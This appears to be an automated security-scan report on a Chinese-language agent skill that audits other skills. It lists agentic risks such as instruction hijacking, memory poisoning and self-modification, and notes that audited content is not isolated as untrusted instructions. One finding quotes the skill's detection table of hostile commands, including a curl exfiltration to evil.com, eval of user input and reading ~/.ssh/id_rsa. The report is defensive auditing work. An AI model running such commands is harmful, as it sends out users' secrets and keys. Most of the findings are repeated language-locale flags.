T01 · Skill Instruction Hijacking
Warning
- Location
SKILL.md:93- Finding
Audited Skill Content Is Not Explicitly Isolated as Untrusted Instructions
- Content
View full analysis
- Remediation
View remediation
Security audit
Skill Auditor
Security checks for vulnerabilities and agentic risk
Overview
The skill appears to be a legitimate skill-auditing helper, but it needs review because it can edit audited files, call an external API, and write report files while leaving some safety boundaries unclear.
Review this skill before installing in sensitive environments. Use it only on target directories you intend the agent to inspect, confirm before allowing remediation edits, avoid running it on untrusted Skills unless your agent treats audited content as data, and be aware that L3 benchmarking may send derived keywords to SkillHub and that report files may be created or overwritten in the audited directory.
Vulnerability Patterns
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)
T09 · Insecure Skill Coding Practices
Warning
- Location
SKILL.md:39- Finding
Default Read-Only Claim Conflicts with Automatic Audit-Report Writes
- Content
View full analysis
**User Notice**: The remediation mode (Phase 4.5) and originality cleanup submode (A2) modify the audited Skill's files. > - Defaults to read-only audit; modifications only occur after the user explicitly selects "Enter remediation mode" at confirmation point 2 ``` However, it also states: ```markdown - Audit report output to both conversation and `/.audit-report.md` - Regression audit additionally generates `.audit-report-prev.md` (previous report backup) ``` ### Technical Analysis The Skill describes the default audit as read-only and says modifications occur only after the user authorizes remediation. At the same time, normal Phase 4 behavior writes `.audit-report.md` into the audited directory before the remediation decision. Writing a report is a filesystem modification even when no source file is edited. The documentation does not require separate consent f ...[truncated 1934 chars]- Remediation
View remediation
Vulnerability Patterns
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
- Rogue AgentSelf-Modification, Session Persistence
- Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
Findings (21)
Self-Modification
High
- Category
- Rogue Agent
- Confidence
- 85% confidence
- Finding
Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
- Content
md | T7 | MCP Least Privilege 权限声明 | L3 | SKILL.md/plugin.json 是否声明权限 | Important | | T8 | Missing User Warnings | L3 | 有副作用的 Skill README 是否含警告 | Important | | T9 | Description-Behavior Mismatch | L3 | description 与实际行为一致 | Important | | T10 | Self-Modification 措辞 | L3 | 避免"update SKILL.md"等 | Minor | | T11 | 安全敏感方案不文档化 | L3 | 不描述绕过网络限制方案 | Important | | T12 | Pre-Scan 文件清单 | L2 | LS 检查凭证文件和临时脚本 | Critical if 存在 | | T13 | 最小权限校验 | L2 | allowed-tools 与任务无关权限删除 | Minor |
Self-Modification
High
- Category
- Rogue Agent
- Confidence
- 85% confidence
- Finding
Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.
- Content
md | T7 | MCP Least Privilege 权限声明 | L3 | SKILL.md/plugin.json 是否声明权限 | Important | | T8 | Missing User Warnings | L3 | 有副作用的 Skill README 是否含警告 | Important | | T9 | Description-Behavior Mismatch | L3 | description 与实际行为一致 | Important | | T10 | Self-Modification 措辞 | L3 | 避免"update SKILL.md"等 | Minor | | T11 | 安全敏感方案不文档化 | L3 | 不描述绕过网络限制方案 | Important | | T12 | Pre-Scan 文件清单 | L2 | LS 检查凭证文件和临时脚本 | Critical if 存在 | | T13 | 最小权限校验 | L2 | allowed-tools 与任务无关权限删除 | Minor |
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 90% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md |---------|---------|--------| | curl 到外部服务器 | `curl https://evil.com/collect?data=...` | Critical | | eval 处理用户输入 | `eval(user_input)` | Critical | | 读取敏感目录 | `cat ~/.ssh/id_rsa` | Critical | | base64 解码外部输入 | `base64.b64decode(external_input)` | Critical | ---
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md # 本地凭证 config.local.json config.local.*.json .env .env.local # 临时脚本
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 60% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md config.local.json config.local.*.json .env .env.local # 临时脚本 _*.py
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 92% confidence
- Finding
Most substantive entries in the changelog are written in Chinese, and there is no indication in this file that users may choose another language or that the skill is intentionally limited to a Chinese-speaking locale. The policy only permits language constraints when there is explicit opt-in or a clearly documented regional justification, which is not present here.
- Content
Autonomous Decision Making
Medium
- Category
- Excessive Agency
- Confidence
- 85% confidence
- Finding
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
- Content
md > **User Notice**: The remediation mode (Phase 4.5) and originality cleanup submode (A2) modify the audited Skill's files. > - Defaults to read-only audit; modifications only occur after the user explicitly selects "Enter remediation mode" at confirmation point 2 > - Originality cleanup (Phase O-4) requires explicit user authorization at confirmation point O before executing Edit; **no trigger phrase can bypass confirmation point O** > - To skip remediation, select "Report only" > - Publishing: this skill **does not execute publishing**; it only provides publishing suggestions after explicit user authorization at confirmation point 4, with the user manually publishing to the three platforms
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 88% confidence
- Finding
The title and core description are written exclusively in Chinese, and the trigger phrases and examples later in the file are also Chinese-centric. This creates a natural-language locale constraint without explicitly offering users a choice of language or documenting that the skill is intentionally region-specific.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The manifest description is written as an instruction set entirely in Chinese, including the trigger phrases, with no indication that other languages are supported or that the user may choose a preferred language. Under the policy rule, forcing a specific language or locale without user opt-in is a natural-language policy violation.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 90% confidence
- Finding
The operational sections, trigger guidance, workflow, rules, and examples are all presented in Chinese, which effectively constrains usage to a single language. Because the file does not offer a language choice or justify a locale-specific restriction, this conflicts with the natural-language policy requirement.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
This markdown file is written entirely in Chinese and presents the audit instructions and trigger phrasing as mandatory operational guidance, with no indication that users may choose another language or locale. Under the language/locale policy, forcing a specific language without opt-in is a natural-language policy violation.
- Content
External Transmission
Medium
- Category
- Data Exfiltration
- Confidence
- 87% confidence
- Finding
This methodology instructs the auditor to send extracted keywords derived from a skill's name and core function to an external third-party API. If those keywords contain unpublished product names, confidential project descriptions, or customer-specific functionality, the skill could disclose sensitive metadata outside the trust boundary during analysis.
- Content
API 调用
text URL: https://api.skillhub.cn/api/v1/search?q=<keywords> Keywords: extract from the created Skill's name + core function Example: for "interview-insight-miner", search "interview insight analysis"
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The document lists language differentiation as '中文优先 vs 英文优先', which encodes a preferred language policy in natural-language guidance. Under the policy rules, forcing or preferring a specific language without offering user choice or documenting a justified locale constraint is a violation.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The document is written entirely in Chinese and presents user prompts and operational confirmations only in Chinese, with no indication that other languages are supported or that Chinese is optional. This creates a natural-language policy concern because it appears to impose a specific language/locale without explicit user opt-in.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 94% confidence
- Finding
The L3 maturity signal requires README.md to be '中英双语' (bilingual Chinese and English), which imposes a language policy as a release criterion. The document does not present this as optional, user-selectable, or justified as a region-specific compliance requirement.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 89% confidence
- Finding
The file's title and core invocation guidance are written entirely in Chinese and define the skill's usage in Chinese-only terms, with no indication that users may choose another language. This can violate a language/locale policy when a skill implicitly requires a specific language without user opt-in.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 94% confidence
- Finding
The document is entirely written as operational guidance in Chinese and specifies trigger phrases and user-facing prompts only in Chinese. There is no indication that the user can choose language or that the locale restriction is intentional for a region-specific skill, which creates a natural-language policy concern under the language/locale rule.
- Content
Description-Behavior Mismatch
Medium
- Category
- Not specified by scanner
- Confidence
- 87% confidence
- Finding
Manifest 将该 skill 定位为审计工具，并明确写明“Do NOT use for creating skills or publishing to platforms”，强调不涉及发布用途。L138 的回归审计建议直接把审计结论延伸到“三平台发布”决策，虽然不是自动发布操作，但已把文档行为范围扩展到发布流程指导，和描述中的严格边界不完全一致。
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 93% confidence
- Finding
The file title and instructions present the audit report template entirely in Chinese and state when auditors should use this format, which implies a fixed output language. There is no indication that users may choose another language or that the Chinese-only constraint is optional or region-specific.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 95% confidence
- Finding
The document title and core instructions are written in Chinese, and the file provides no indication that another language is supported or that Chinese is a required locale for a region-specific tool. Under the policy, forcing a specific language without user opt-in is a natural-language policy concern.
- Content
Natural-Language Policy Violations
Low
- Category
- Not specified by scanner
- Confidence
- 90% confidence
- Finding
L061-L067 明确规定 README 中的用户警告必须“中英文同步”，并进一步要求 README.md 与 README.en.md 内容必须同步。这属于对语言呈现的强制性要求，而不是提供可选语言方案或说明仅适用于特定合规区域，因而符合语言/locale policy violation 的判定条件。
- Content
Static analysis
No suspicious patterns detected.